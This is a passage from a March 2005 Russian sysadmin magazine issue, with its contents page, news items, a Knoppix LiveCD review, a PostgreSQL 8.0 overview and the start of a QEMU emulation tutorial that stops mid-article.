028 Системный Администратор 03 2005

Page 1

№3(28) март 2005 подписной индекс 81655 www.samag.ru

Linux Xinerama: один монитор хорошо, а много лучше Knoppix – русская редакция Восстановление удаленных файлов под Linux FreeBSD в домене Microsoft Windows Практикум Python: отправка файлов по электронной почте Шифрование данных в Linux – новый взгляд на аппаратные ключи Автоматизация процесса подключения баз 1С

№3(28) март 2005

Эмуляция при помощи QEMU Программирование на shell в экстремальных условиях



оглавление СОБЫТИЯ ТЕНДЕНЦИИ АДМИНИСТРИРОВАНИЕ Обзор Knoppix 3.7 Russian Edition Александр Байрак x01mer@pisem.net

PostgreSQL 8.0: новые возможности

процесса подключения 2 Автоматизация баз 1С с помощью сценария 3 регистрации пользователей в сети Иван Коробко

48

ikorobko@prosv.ru

Сага о биллинге, или Считаем трафик на FreeBSD 4 (ng_ipacct + perl+ MySQL) Часть 2 Владимир Чижиков

Сергей Супрунов amsand@rambler.ru

Эмуляция при помощи QEMU Сергей Яремчук grinder@ua.fm

7

БЕЗОПАСНОСТЬ Защита сетевых сервисов с помощью stunnel 8 Часть 3

Linux Xinerama: один монитор хорошо, а много лучше Павел Закляков amdk7@mail.ru

52

skif@owe.com.ua

Андрей Бешков

58

tigrisha@sysadmins.ru

Мониторинг сетевых событий 14 при помощи sguil

FreeBSD tips: использование ipnat

Сергей Яремчук

64

grinder@ua.fm

Сергей Супрунов amsand@rambler.r

FreeBSD в домене Microsoft Windows

20 Шифрование данных в Linux – новый взгляд на аппаратные ключи Александр Похабов

Рашид Ачилов shelton@granch.ru

22

PhpGACL – система управления правами Кирилл Сухов geol@altertech.ru

27

Сергей Супрунов amsand@rambler.r

alexey@office-a.mtu-net.ru

30

kk@sendmail.ru

Использование альтернативных потоков данных Максим Костышин Maxim_kostyshin@mail.ru

№3, март 2005

nm@web.am

36

74

Программирование на shell в экстремальных условиях Гаспар Чилингаров

Восстановление удаленных файлов под Linux Крис Касперски

ПРОГРАММИРОВАНИЕ Система создания документации POD Часть 1 Алексей Мичурин

Практикум Python: отправка файлов по электронной почте

70

chiko@agk.ru

82

Техника оптимизации под Linux Часть 2 – ветвления Крис Касперски kk@sendmail.ru

КНИЖНАЯ ПОЛКА 44 BUGTRAQ

86 93 13, 43, 57 1


события

20-21

АПРЕЛЯ

Десятая юбилейная техническая конференция Корпоративные базы данных-2005

20-21 апреля в Москве в десятый раз состоится ежегодная конференция Корпоративные базы данных-2005 (http:// citforum.ru/seminars/cbd2005). Организатор конференции Центр Информационных Технологий (ЦИТ) – владелец IT-портала, объединяющего крупнейшие тематические ресурсы – CITForum.ru, CITKIT.ru и др. Генеральный спонсор конференции – Microsoft, спонсор – InterSystems. Корпоративные базы данных – единственная в постсоветском пространстве независимая конференция, посвященная тематике средств управления базами данных. Ежегодно участники конференции имеют возможность в течение короткого времени получить самую свежую концентрированную информацию о состоянии технологии. Как всегда, с докладами о новых технологических решениях и перспективах выступят представители ведущих компаний, поставляющих продукты для управления данными и разработки приложений: ! Microsoft ! InterSystems ! Oracle ! РЕЛЭКС ! IBM Особенностью предстоящей конференции является повышенное внимание к СУБД с открытым исходным кодом. В этом году российские разработчики, принадлежащие сообществу Open Source, расскажут о состоянии и перспективах систем: ! PostgreSQL ! Interbase ! MySQL ! Firebird ! Ingres r3 ! Sedna По словам председателя конференции Сергея Кузнецова (ИСП РАН), движение Open Source в области баз данных теперь имеет стратегическое значение для нашей страны. СУБД с открытым кодом стали более зрелыми, а Россия прочно вошла в сообщество разработчиков программного обеспечения Open Source. Российские разработчики входят в число лидеров в любой международной команде, развивающей свободно доступные СУБД, и внутри России возникают новые собственные проекты. Сочетание докладов о ведущих коммерческих продуктах с докладами о развитии систем категории Open Source делает программу юбилейной конференции интересной и полезной для самого широкого круга специалистов. Благодаря поддержке генерального спонсора конференции Microsoft и спонсора InterSystems, на оплату регистрационного взноса индивидуальных участников будут выделяться гранты. В первую очередь на гранты могут рассчитывать преподаватели, студенты и аспиранты университетов и вузов, а также сотрудники бюджетных научных организаций. Место проведения конференции: Москва, Ленинский проспект, 32а, новое здание Президиума РАН. Программа конференции и все подробности – http:// citforum.ru/seminars/cbd2005.

2

Новая специализированная выставка-конференция бизнеса СЕНТЯБРЯ для LinuxWorld Russia 2005

7-9

Выставочное объединение «Рестэк» совместно с компанией Reed Exhibitions и IDG World Expo объявляют о проведении первой в России международной специализированной выставки-конференции для бизнес-инфраструктуры LinuxWorld Russia 2005. Выставка пройдет 7-9 сентября 2005 года на одной площадке с Infosecurity Russia и StorageExpo в лучшем выставочном комплексе России – Гостиный двор, расположенном в самом сердце Москвы. LinuxWorldExpo (www.linuxworldexpo.com) – это популярная конференция и выставка, посвящённая решениям на основе Linux, которая ежегодно проходит в 15 странах мира (США, Канада, Китай, Южная Африка, Италия, Япония, Англия, Нидерланды, Германия и другие). LinuxWorld – один из наиболее узнаваемых мировых выставочных брендов! Тим Портер, директор по развитию технологических выставок компании Reed Exhibitions, отметил: «Решения на базе Linux уже достаточно широко распространены в России. Выставка LinuxWorld Russia представляет уникальную возможность как пользователям, так и разработчикам увидеть последние отечественные и международные продукты на быстрорастущем рынке систем с открытым кодом. Выставки Infosecurity 2004 и Storage Expo уже получили большую поддержку в России, и я уверен, что LinuxWorld Russia будет иметь такой же успех». На выставке будут представлены продукты и решения от ведущих игроков рынка: IBM, RedHat, Vdel, Sun Microsystems, Hewlett-Packard, R-Style, Cisco Systems, ALT Linux, ASP Linux, Инфосистемы Джет, Инвента, Лаборатория Касперского, Linux Inc., LinuxCenter и другие. Основные тематики выставки LinuxWorld: Серверы и управление серверами, Приложения, Безопасность, Хранение, Кластеринг/HPC/Grid-системы, Коммуникации/Сети, Мобильное программирование, Встроенные системы, Базы данных, Управление данными, Системы управления контентом/Портальные технологии, Разработка ПО, Desktop-решения, Тенденции и инновации для Linux и открытых систем и многое другое! В рамках выставки LinuxWorld Russia предусмотрена насыщенная деловая программа, которая включает конференцию, серию бесплатных тематических семинаров, а также презентации компаний, мастер-классы и бизнес-секции по самым актуальным вопросам развития Open Source-систем. LinuxWorld Russia пройдёт на одной площадке с Infosecurity и StorageExpo 2005. Совместному проведению выставокконференций способствует то, что Linux – одна из наиболее надёжных платформ для бизнеса, обеспечивающая безопасность информационных систем и стабильное хранение данных. Подробную информацию о выставке-конференции и условиях посещения смотрите на официальном сайте www.linuxworldexpo.ru. Запланируйте участие!


тенденции Изменения в нумерации Linux-ядра В начале марта было принято решение изменить нумерацию релизов Linux 2.6. «Реформа» призвана решить проблему с задержками в исправлении проблем, найденных в Linux 2.6.x. Они связаны с тем, что часто возникают ситуации, когда предыдущее ядро нуждается в «заплатке», однако она может быть представлена только в следующем релизе, а процесс тестирования новой стабильной версии Linux занимает значительный объем времени. Поэтому отныне добровольцами (первыми из них стали Грег Кроа-Хартман и Крис Райт) будет осуществляться поддержка уже вышедших Linux-ядер 2.6.x путем публикации патчей 2.6.x.y. Результат не заставил себя ждать: уже 4 марта представлено Linux-ядро 2.6.11.1, за которым вскоре последовали и новые патчи.

GNOME 2.10 и KDE 3.4 Проекты двух популярнейших открытых графических оболочек для UNIX/Linux-систем представили свои новые релизы: GNOME 2.10 и KDE 3.4. На последнюю редакцию GNOME, которой, несмотря на существенный прогресс, решено было присвоить версию 2.10, разработчики потратили около полугода, а ключевыми «пакетными» изменениями стали два приложения: видеоплейер Totem и утилита Sound Juicer для конвертирования музыки с AudioCD в цифровой формат. Главное достижение KDE 3.4 – система, воспроизводящая текст голосом (TTSS), которая доступна как сама по себе (в приложении KSayIt), так и в интегрированной форме в Konqueror, Kate, KPDF. Среди прочих многочисленных изменений появление новой утилиты Akregator для работы с информацией в формате RSS, значительные улучшения в движке KHTML, обновление «корзины» и панели Kicker.

Главной проблемой информационной безопасности многих внешне благополучных предприятий, по мнению технического директора Ашота Оганесяна, является отсутствие контроля за перемещениями инсайдерской информации. Такие почти бытовые устройства, как USB-диски, могут совершенно беспрепятственно подключаться к рабочим местам в обход традиционных систем ограничения доступа и создавать неучтенные пути как утечки информации, так и эмиссии вирусов. Этот пробел для платформы MS Windows призвана закрыть программа DeviceLock. Её последняя версия с индексом 5.7 полностью интегрирована в Active Directory и может не только централизованно управляться через групповые политики, но и также централизованно и очень быстро разворачиваться на существующей сети. Программа контролирует доступ ко всем USB-устройствам, включая Bluetooth и WiFi, и интерфейсам FireWire. Кроме этого, возможен аудит файловых операций на отслеживаемых интерфейсах.В планах компании – развитие серверной составляющей системы DeviceLock, что позволит не только управлять доступом, но и при необходимости дублировать все передаваемые через подконтрольные устройства файлы. Введение собственной системы шифрования в перспективе решит проблему «потерянных брелоков». Конечно, «Смарт Лайн Инк» не является софтверным гигантом, но для IT изменение вектора развития таких компаний с зарубежного рынка на отечественный равносильно долгожданному «удвоению ВВП» в экономике.

Алексей Барабанов

Intel и Open Source В середине марта компания Intel объявила о намерении глобально развивать свою Linux-программу. Кампания по предустановке открытой операционной системы на настольные ПК началась еще в конце прошлого года с китайских и индийских производителей, а теперь стало известно, что Intel решила распространить эту инициативу и на другие страны мира путем предоставления 160 тысячам партнеров набора собственных приложений для поддержки Linux, скриптов для автоматизации инсталляции и утилит для проверки на совместимость.

Составил Дмитрий Шурупов по материалам www.nixp.ru

Реэкспорт русских технологий В Москве, в кафе «Максимус», 1 марта состоялась прессконференция, посвященная выходу российской компании «Смарт Лайн Инк» на отечественный рынок со своим ведущим продуктом – программой DeviceLock. Компания «Смарт Лайн Инк», основанная в 1996 году в Москве, многие годы вела очень успешный бизнес в области защиты информации за рубежом и преимущественно в США. И теперь ее высоко технологические продукты возвращаются на родину. В 2005 году в первоочередных стратегических планах компании «Смарт Лайн Инк» было заявлено развитие российского рынка.

№3, март 2005

3


администрирование

ОБЗОР KNOPPIX 3.7 RUSSIAN EDITION

АЛЕКСАНДР БАЙРАК Knoppix – один из первых самозагружаемых (LiveCD) дистрибутивов Linux. В настоящий момент он же является и самым популярным. В этом небольшом обзоре будет рассказано о Knoppix 3.7 Russian Edition от LinuxCenter.ru.

4

Кому может оказаться полезным данный дистрибутив? Да кому угодно, начиная от человека, решившего «попробовать» Linux, но не знающего, с чего начать, и заканчивая системным администратором, для которого Knoppix может


администрирование послужить «спасательной дискетой». Система полностью автономна, вы можете использовать ее даже на компьютере без жесткого диска. Тут я хочу заметить, что эта статья была написана мной в Knoppix с использованием Open Office.org Writer и KSnapshot. Что же входит в состав дистрибутива: ! рабочая среда KDE 3.3.0; ! офисный пакет OpenOffice.org 1.1.3; ! браузер Mozilla 1.7.3. Само собой, это далеко не полный список. Я перечислил лишь основные, наиболее известные компоненты. По умолчанию используется ядро Linux версии 2.4.27. Надо заметить, что в дистрибутиве присутствует и ядро из ветки 2.6. Но, к сожалению, запустить его мне не удалось. Knoppix сообщил при этом:

на выбор. Справедливости ради отмечу, что входящий в состав Fluxbox, русифицирован не до конца: кириллические символы в меню отображаются некорректно. То же самое происходит и с Xfce. Любопытно, что если вы решите покинуть графический интерфейс и выйти в голую консоль, ничего у вас не получится . По умолчанию система загружается на 5-м уровне запуска (runlevel). Для того чтобы попасть в консоль, нужно выбрать 2-й или 3-й уровень. Беглый взгляд на меню поражает многообразием приложений, которые разработчики вместили в дистрибутив. Памятуя о сформулированных выше задачах, рассмотрим некоторые из них более подробно.

Could not find ramdisk image: minirf26.gz

Выбор используемого ядра (и не только) осуществляется в меню, попасть в которое можно, нажав <F2> в начальный момент загрузки системы. Существует еще одно меню, в котором вы можете указать различные параметры, такие как: оконный менеджер по умолчанию, язык, разрешение экрана, уровень запуска (runlevel) системы. Для получения доступа к этим настройкам нажмите <F3>. На моем компьютере (P3-550 МГц/320 Ram) полная загрузка заняла порядка 3 минут. Для создания текстовых документов представлен широкий перечень текстовых редакторов, начиная от vi и заканчивая Writer из пакета OpenOffice.org. Так что с уверенностью можно сказать, что проблем с составлением текстовых документов не возникнет. Создание и просмотр электронных таблиц осуществляется c помощью программы Calc из комплекта OpenOffice.org. Работа с графическими файлами также не вызывает проблем. Создать изображение вы сможете с помощью таких программ, как GIMP или OpenOffice.org Draw. Для просмотра картинок список программ еще больше, один ImageMagik чего стоит. Документы в формате PDF можно читать с помощью XPDF, KPDF или Acrobat Reader. Я перечислил далеко не все, что может пригодиться вам для работы с документами.

Я решил подготовить обзор дистрибутива не с точки зрения системного администратора UNIX, а с точки зрения обычного пользователя. Основное внимание я буду уделять рассмотрению следующих возможностей системы: ! создание и редактирование различных документов; ! работа с сетью (просмотр сайтов, электронная почта); ! мультимедиа-возможности. Сразу хочу отметить, что русификация и локализация системы выполнена на высоком уровне, почти все программы корректно отображают и работают с кириллическими символами. После загрузки мы попадаем в привычное многим окружение KDE. Впрочем, KDE – не единственная графическая среда. Вы можете также использовать Xfce, оконные менеджеры WindowMaker, IceWM, Fluxbox, LarsWM или twm,

№3, март 2005

Настройка сети каких-либо проблем не вызывает. С помощью удобных конфигураторов можно создать любое под-

5


администрирование ключение: модемное, кабельное и даже GPRS. Выбор браузеров богатейший, от простого текстового Lynx и до Mozilla (жаль, что в составе дистрибутива нет Firefox). Посмотреть электронную почту можно при помощи Kmail, mutt или почтового клиента Mozilla Mail. Для любителей общаться через Интернет предлагаются IRC-клиент XChat, ICQ-пейджер Sim. Из прочих «благ цивилизации» отметим менеджеры загрузок KGet, Downloader for X, программу для чтения групп новостей Knode. Работая с Knoppix, вы без проблем сможете «влиться» в Windows-сеть, запустив сервер Samba. Посмотреть общедоступные ресурсы в сети можно с помощью smb4k. Особенно любопытные пользователи могут воспользоваться снифферами ethereal и ettercap, а также сканером уязвимостей nessus. Для обеспечения удаленного доступа к компьютеру, работающему под управлением Knoppix, можно запустить SSH-сервер, а также организовать совместное использование рабочего стола по протоколу VNC. Под мультимедиа-возможностями я подразумеваю прослушивание музыки, просмотр фильмов, ну и наличие простеньких игр. Начнем с музыки. Тут все просто – самый популярный аудиоплеер для UNIX-систем – это XMMS, работающий в среде X-Window, и консольный mpg123. В системе присутствуют оба. Видео можно смотреть как с помощью Xine, так и через MPlayer. Лично мне второй мне более привычен.

На диске даже нашлось место для нескольких игр. Кроме стандартного набора, входящего в KDE, доступны с десяток других игр разного жанра. Что еще интересного всходит в систему? Kooka – программа для сканирования и распознавания текста. Kgeo поможет освоить азы геометрии. К услугам разработчиков IDE Kdevlop, языки Python, TCL, PHP, Perl, и конечно C/C++. Отмечу, что в состав дистрибутива входит ассемблер gas версии 2.15 и компоновщик ld той же версии. Для создания вебстраниц можно использовать Quanta Plus. Работа с карманными компьютерами Palm осуществляется с помощью Kpilot и Jpilot (из личного опыта скажу, что второй удобнее). Запустить Windows-приложения (по крайней мере, попробовать это сделать) можно через WINE. Для записи дисков есть k3b. Само собой, в системе присутствуют такие полезные вещи, как персональный органайзер и адресная книга. Несомненно, полезнейшим дополнением является возможность сохранить все свои настройки. Для этого нам потребуется любой

6

носитель с файловой системой ext2 или DOS FAT16/FAT12. В качестве такового я выбрал дискету. Надо заметить, что создать требуемые для программы сохранения настроек файловые системы можно, что называется, «не отходя от кассы». Стоит лишь воспользоваться утилитой kfloppy, которая отформатирует вашу дискету и разместит на ней файловые системы FAT-12/ext2 на выбор. Другой не менее интересной возможностью является указание постоянной домашней директории. В качестве хранилища для размещенных в ней файлов я использовал USB Flash размером 32Мб. В дистрибутиве присутствует компилятор gcc версии 3.3.4 и make версии 3.80, а также утилита apt-get. Это значит, что мы можем расширять Knoppix и адаптировать его под собственные нужды. В качестве примера я собрал эмулятор mips64emul (подробнее о нем можно прочитать в журнале «Системный администратор», №11, ноябрь 2004 г.) Получившийся после компиляции бинарный файл я разместил в домашнем каталоге (а его, как вы помните, можно сохранять где угодно). При запуске Knoppix находит и монтирует все известные ему файловые системы. Так что пользователь может получить доступ к своим файлам, которые находятся, например, в файловой системе FAT32 или Ext2. NTFS тоже монтируется, но в режиме «только для чтения». К сожалению, ufs , ufs2 и файловую систему Solaris Knoppix не видит, и, как следствие, работать с ними не может. В процессе знакомства с Knoppix я нашел в его составе всё (ну или почти всё), что нужно обычному пользователю для работы и, конечно, отдыха. Я думаю, разработчики достигли своей цели, создав дистрибутив, подходящий для решения широкого круга задач, для большой аудитории пользователей. Как уже упоминалось, дистрибутив послужит надежным компаньоном для людей, желающих познакомиться с миром открытых систем. Удачным вариантом будет использование Knoppix в офисе. А что? Отличная идея. Пользователи приходят, загружаются с диска и начинают работать. Свои файлы можно хранить как на сменных носителях, так и в главном «хранилище» файлов. По аналогичной схеме дистрибутив можно использовать и в различных учебных заведениях. Приятно, что в состав системы входит небольшой справочник с описанием наиболее популярных программ, включенных в дистрибутив. Как таковых «минусов» в этой системе я не обнаружил. Недоработки есть. Одна из главных, как это ни парадоксально, все та же пресловутая проблема с русским языком. Раз уж дистрибутив в своем названии имеет приставку «Russian Edition», то разработчики должны были из кожи вон вылезти, но везде обеспечить работу с кириллицей, досконально проверив все. Как я уже упомянул, проблемы с отображением русских букв присутствуют в оконных менеджерах Fluxbox и Xfce. Аналогичные недочеты встретились мне еще в нескольких программах. К более мелким замечаниям можно отнести некую неряшливость в выборе настроек по умолчанию. Например, откройте в XINE меню для выбора загружаемого файла. Да, шрифт, мягко сказать, не совсем удобочитаемый. Будем надеяться, что в следующих версиях системы эти досадные недоразумения будут исправлены. Но в целом эти мелкие недоработки, которые не смогли испортить благоприятное впечатление от дистрибутива.


администрирование

PostgreSQL 8.0: НОВЫЕ ВОЗМОЖНОСТИ СЕРГЕЙ СУПРУНОВ В середине января этого года вышла новая версия открытой системы управления базами данных PostgreSQL 8.0. Основные характеристики этой СУБД были рассмотрены ранее на страницах журнала (см. статью «PostgreSQL: первые шаги», №7, 2004 г.). По сравнению с 7-й веткой (на данный момент это версия 7.4.7) в 8-й версии появился ряд нововведений, краткому обзору которых и посвящена эта статья. Помимо традиционных исправлений недоработок, выявленных в прежних версиях, и общих улучшений, смена «мажорной» версии ознаменовалась рядом принципиальных новшеств, направленных прежде всего на расширение возможностей по управлению СУБД. Итак, добавлено понятие табличного пространства (table spaces). Раньше хранилище данных размещалось в директории, указанной при инициализации командой initdb, то есть жестко определялось на стадии инсталляции СУБД и могло находиться только на одной файловой системе. Проблемы со свободным местом приходилось решать либо с помощью переноса хранилища в другой раздел диска и размещения символьной ссылки на него, либо повторной инициализацией хранилища с последующим восстановлением данных из резервной копии. Теперь команда «CREATE TABLESPACE» позволяет создать несколько табличных пространств на разных файловых системах. И в дальнейшем при создании новой базы данных (CREATE DATABASE), таблицы (CREATE TABLE), индекса (CREATE INDEX) и т. д. можно указать, в каком табличном пространстве следует разместить объекты. Это помогает более гибко управлять размещением данных на диске и в ряде случаев повышает быстродействие, например, за счет выноса индексных файлов в табличное пространство, расположенное на отдельном жестком диске. Команда «ALTER TABLE» позволяет теперь изменять тип данных столбца. Раньше для этого требовалось создать новый столбец, перенести в него данные и затем старый удалить. До версии 7.3 удалять столбцы тоже было нельзя, и приходилось либо мириться с тем, что никому не нужный столбец занимает место, либо менять структуру таблицы самым универсальным способом – создавая на ее основе новую. Теперь для этого достаточно одной команды: ALTER TABLE test ALTER COLUMN mynum TYPE NUMERIC(4,2);

Старый и новый типы должны быть совместимы. То есть вы можете изменить тип numeric(5,2) на numeric(9,2), чтобы хранить большие числа, но попытка изменить, например, числовой тип на строковый приведет к ошибке. Также в новой версии появились так называемые точки сохранения транзакций (savepoints). В ранних версиях в случае ошибки внутри транзакции она «откатывалась» полностью, что в сложных транзакциях (например, при отработке функций) приводило к значительной трате ресурсов. Те-

№3, март 2005

перь есть возможность в потенциально опасных местах транзакции размещать savepoints и в дальнейшем при обработке ошибки откатывать транзакцию только до указанной точки сохранения. Для этого используется команда «ROLLBACK TO savepointname», где savepointname – имя точки сохранения, присвоенное ей командой «SAVEPOINT savepointname». После устранения причины ошибки обработка транзакции продолжится, при этом операции, выполненные нормально, повторяться не будут. Команда «COPY», которая служит для загрузки данных в таблицу из внешних файлов и сохранения данных из таблиц в файлы, раньше поддерживала текстовый формат с разделителями и собственный двоичный формат. Теперь она поддерживает также работу с файлами в формате CSV (comma separated value), что упрощает обмен данными между PostgreSQL и, скажем, файлами Excel. Например, чтобы сохранить данные из CSV-файла, требуется подготовить таблицу, столбцы которой соответствуют по типу полям загружаемого файла. Затем выполняется команда: COPY mytable FROM ‘/path/to/file.csv’ WITH CSV;

В результате данные из file.csv допишутся в конец таблицы mytable. Каждая строка файла становится одной записью, в качестве разделителя полей будет использован символ «запятая». Этот вариант простейший, в общем случае можно явно указывать поля таблицы, которые будут заполняться из файла, и их порядок, а также задавать ряд дополнительных параметров. Подробности смотрите в справке (например, введя команду «\h copy» в интерактивном терминале psql). Обновлена версия встроенного языка PL/Perl, позволяющего разрабатывать хранимые процедуры на языке Perl. Напомню, что помимо PL/pgSQL и PL/Perl, PostgreSQL позволяет использовать для разработки серверной части приложений также языки Python (PL/Python) и Tcl (PL/Tcl). С сайта www.postgresql.org дополнительно можно скачать и установить модули, обеспечивающие поддержку языков PHP, Java и др. Разработчики PostgreSQL уделили должное внимание и системам от Microsoft – теперь выпускается «родная» версия этой СУБД для Windows 2000/2003/XP. Раньше тоже можно было запускать PostgreSQL в Windows, но под управлением UNIX-эмулятора Cygwin, что крайне отрицательно сказывалось на быстродействии и требовательности к ресурсам и практически не позволяло говорить о «промышленной» эксплуатации PostgreSQL на этих операционных системах. Таким образом, можно констатировать тот факт, что PostgreSQL по своим характеристикам все больше приближается к таким коммерческим «монстрам» как Oracle. Конечно, по отношению к Oracle PostgreSQL попрежнему находится в роли догоняющего, однако разрыв сокращается с каждым новым релизом, и выбор этой бесплатной СУБД становится все более предпочтительным.

7


администрирование

ЭМУЛЯЦИЯ ПРИ ПОМОЩИ QEMU

СЕРГЕЙ ЯРЕМЧУК C увеличением вычислительной мощности настольных систем возрос интерес к различного рода эмуляциям. Причина ясна – теперь пользователь может работать с привычными приложениями в другой операционной системе, а то и вовсе запускать несколько копий операционных систем, создавая целые виртуальные сети на одном компьютере. Список предложений растет с каждым днем, появляются как свободные реализации, так и коммерческие приложения. Эмулируется все, от игровых приставок и компьютеров давно ушедших дней до операционных систем или отдельных сервисов. Но, судя по всему, наибольший интерес на сегодня представляет эмуляция именно компьютеров, т.к. это более востребованный продукт, особенно среди профессионалов. Теперь,

8

запустив еще одну операционную систему, можно проверять работу приложений в различных средах, не перегружаясь по нескольку раз в день, изучать взаимодействие, исследовать неизвестное и, возможно, потенциально опасное программное обеспечение, использовать специфические инструменты, организовать обучение с теми или иными программными комплексами. Приложения, эмулирующие аппаратную среду, называют системными эмуляторами или виртуальными машинами. Среди них наиболее популярны bochs (http:// bochs.sourceforge.net) и VMWare (http://www.vmware.com). Первый, довольно мощный эмулятор, но с довольно неудобным трудоемким и непонятным для новичка процессом настройки. Недостаток второго – цена, он является коммер-


администрирование ческим продуктом. Есть еще, конечно, и Cooperative Linux – coLinux (http://www.colinux.org), позволяющий запускать ядро Linux как отдельный процесс в среде ОС Windows, но, как видите, он имеет ограничения и может подойти не для всех ситуаций. Есть и другие проекты, имеющие свои особенности. Между тем сегодня доступен свободный продукт, который наряду с большой функциональностью и скоростью работы имеет относительно простые настройки и объединяет в себе некоторые достоинства, доступные в отдельных проектах. QEMU (http://fabrice.bellard.free.fr/qemu/index.html) представляет собой Open Source-эмулятор, достигающий хорошей скорости эмуляции, используя динамическую трансляцию кода, и способный эмулировать процессоры других архитектур. Отличительной особенностью QEMU является наличие двух видов эмуляции: ! full system emulation, при которой создается виртуальная машина, имеющая свой процессор и различную периферию, что позволяет запускать еще одну операционную систему; ! User mode emulation, этот режим, реализованный только для GNU/Linux, позволяет запускать на родном процессоре программы, откомпилированные под другую платформу. Опционально доступен QEMU Accelerator Module (KQEMU), выполняющий часть кода напрямую на реальном процессоре, минуя виртуальный, и таким образом оптимизируя выполнение кода в full system emulation-режиме. Установить QEMU можно на GNU/Linux, MS Windows всех версий начиная с Windows 3.11, BeOS 5 PE, FreeDOS и MSDOS, Solaris, NetBSD, OS/2, Minix и некоторых других. Полный список операционных систем, на которых протестирована работа qemu с указанием особенностей, доступна в документе «QEMU OS Support»: http://fabrice.bellard.free.fr/ qemu/ossupport.html. На момент написания статьи в качестве основной платформы могли использоваться компьютеры на базе x86- и PowerPC-процессоров, на стадии тестирования находились x86_64, Alpha, Sparc32, ARM и S390. В режиме full system emulation пока полноценно эмулируется только x86-платформа, хотя уже доступны реализации x86_64, SPARC и PowerPC, но они находятся в стадии тестирования. QEMU Accelerator Module реализован пока только для Linux, хотя в будущем планируется также поддержка Windows, *BSD и 64 разрядных процессоров. В user mode список чуть больше x86, ARM, SPARC и PowerPC. Остальные платформы находятся пока на стадии тестирования, и при работе возможны сбои. Виртуальная машина i386-архитектуры, созданная при помощи qemu, получает в свое распоряжение следующий набор виртуальных устройств: ! процессор такой же частоты, как и на основной системе, в многопроцессорной системе виртуальный компьютер получает в свое распоряжение только один процессор; ! PC BIOS, используемый в проекте Bochs; ! материнская плата i440FX с PIIX3 PCI – ISA-мостом; ! видеокарта Cirrus CLGD 5446 PCI VGA или VGA карта с Bochs VESA-расширениями;

№3, март 2005

! мышь PS/2 и клавиатура; ! 2 PCI IDE-интерфейса для жесткого диска и поддержку ! ! ! !

CD-ROM; один гибкий диск; до 6 NE2000 PCI-сетевых карт; до 4 последовательных (СОМ)-портов; вывод звука через Soundblaster 16-совместимую карту.

Как видите, на данный момент виртуальная машина в qemu не работает с USB- и SCSI-устройствами. Здесь он пока, бесспорно, проигрывает VMWare. Все библиотеки и эмулятор распространяются в исходных текстах по GNU LGPL, исключение составляет только QEMU Accelerator Module, являющийся проприетарным продуктом и требующий согласия разработчиков при распространении и коммерческом использовании.

Установка QEMU Скомпилированная версия для GNU/Linux, исходные тексты и модуль QEMU Accelerator Module доступны на сайте проекта на странице Download. За версиями для Windows и Mac OS X необходимо идти на сайт Free Operating System Zoo – FreeOSZoo (http://www.freeoszoo.org). На этих же сайтах вы найдете и готовые образы свободных операционных систем для запуска при помощи QEMU. Размер архива небольшой, чуть меньше одного мегабайта. Установка из исходных текстов происходит обычным образом. При написании статьи использовался ASPLinux 10 Express. # # # # # #

su tar zxvf qemu-0.6.1.tar.gz cd qemu-0.6.1 ./configure make make install

После чего эмулятор можно запускать. Если набрать qemu без параметров, то будет выведен список опций. В общем случае строка запуска выглядит так: qemu [options] [disk_image]

Теперь для примера работы гостевой системы вставляем загрузочный диск в CD-ROM и даем такую команду: # qemu -cdrom /dev/cdrom

Connected to host network interface: tun0

В результате откроется еще одно окно, в котором начнется процесс обычной загрузки системы. Если был вставлен диск с одним из LiveCD-дистрибутивов, то его тут же можно использовать обычным образом. Естественно, скорость работы гостевой системы будет ниже, чем при запуске на реальной системе. Для того чтобы набирать данные в гостевой системе, нужно просто щелкнуть мышью в окне, выйти в основную систему можно, нажав <Ctrl+Alt>. В зависимости от установок родительской ОС может выскочить сообщение о том, что qemu не может получить DNS-имя. Происходит это потому, что программа не может настроить сеть с параметрами по умолчанию. Самым простым выходом будет добавить опцию -dummy-net, активирующую под-

9


администрирование дельный сетевой стек, но при этом гостевой системой не будут приниматься и отправляться пакеты. # qemu -dummy-net -cdrom /dev/cdrom

Имея готовый iso-образ, можно его проверить перед записью на диск (рис. 1).

обмена информацией между основной и гостевой системами является перенаправление. Формат опции такой: -redir [tcp|udp]:host-port:[guest-host]:guest-port

И запустив эмуляцию с такой опцией: # qemu -redir tcp:1234::23 -cdrom /dev/cdrom

# qemu -dummy-net -cdrom movix.iso

По умолчанию qemu для поднятия виртуального сетевого tap/tun-интерфейса использует скрипт /etc/qemu-ifup, если таковой не обнаруживается, то пытается использовать параметр -user-net. В этом режиме запускается виртуальный межсетевой экран и DHCP-сервер, имеющий адрес 10.0.2.2, виртуальный DNS-сервер (10.0.2.3) и SMB-сервер (10.0.2.4). Клиент DHCP на виртуальном компьютере получает адрес в сети 10.0.2.x. В таком режиме с виртуальной машины пингуется только адрес 10.0.2.2, но напрямую в Интернет с такими настройками выйти не получится, только через перенаправление, о котором чуть позже.

Получим возможность подключаться к telnet-порту на гостевой системе. # telnet localhost 1234

Кроме готовых iso-образов, несомненным удобством является возможность загрузить операционную систему, уже установленную на жесткий диск. Например, на моем компьютере не редкость две-три, а то и больше различных систем, так что теперь нет необходимости перезагружаться каждый раз. Например, такая команда запустит загрузчик Grub, установленный у меня в MBR (рис. 2): # qemu -snapshot -hda /dev/hda

Теперь можно выбирать и загружать нужную ОС обычным образом. Опция snapshot помогает избежать возможной потери данных, так как все модификации вместо непосредственной записи на диск будут производиться во временном файле, находящемся в /tmp. При этом snapshot можно использовать также и с другими типами образов, которые поддерживаются qemu, если необходимо оставить нетронутым оригинал. Но используя сочетание клавиш <Ctrl+a, s>, при необходимости можно сбросить все изменения на диск.

Ðèñóíîê 1

В простейшем случае скрипт /etc/qemu-ifup выглядит так: #!/bin/sh sudo /sbin/ifconfig $1 192.168.0.1

После чего tun-интерфейс будет сопоставлен NE2000совместимой эмулируемой сетевой карте. Как говорилось, один виртуальный компьютер может иметь до 6 сетевых карт, необходимое количество которых задается опцией – nics с указанием числа. Добавив параметр -macaddr, можно задать МАС-адрес для первого сетевого интерфейса, МАС-адреса остальных будут автоматически инкрементированы. Если на основной системе установлен Samba-сервер, то гостевая система может общаться с основной через него, для этого используется опция -smb с указанием каталога. # qemu –smb

/mnt/qemu -user-net -cdrom /dev/cdrom

Аналогично можно активировать и встроенный ftp-сервер, добавив при запуске команду: -tftp каталог. При этом все файлы, находящиеся в указанном каталоге, могут быть загружены на гостевую систему. Еще одним из способов

10

Ðèñóíîê 2

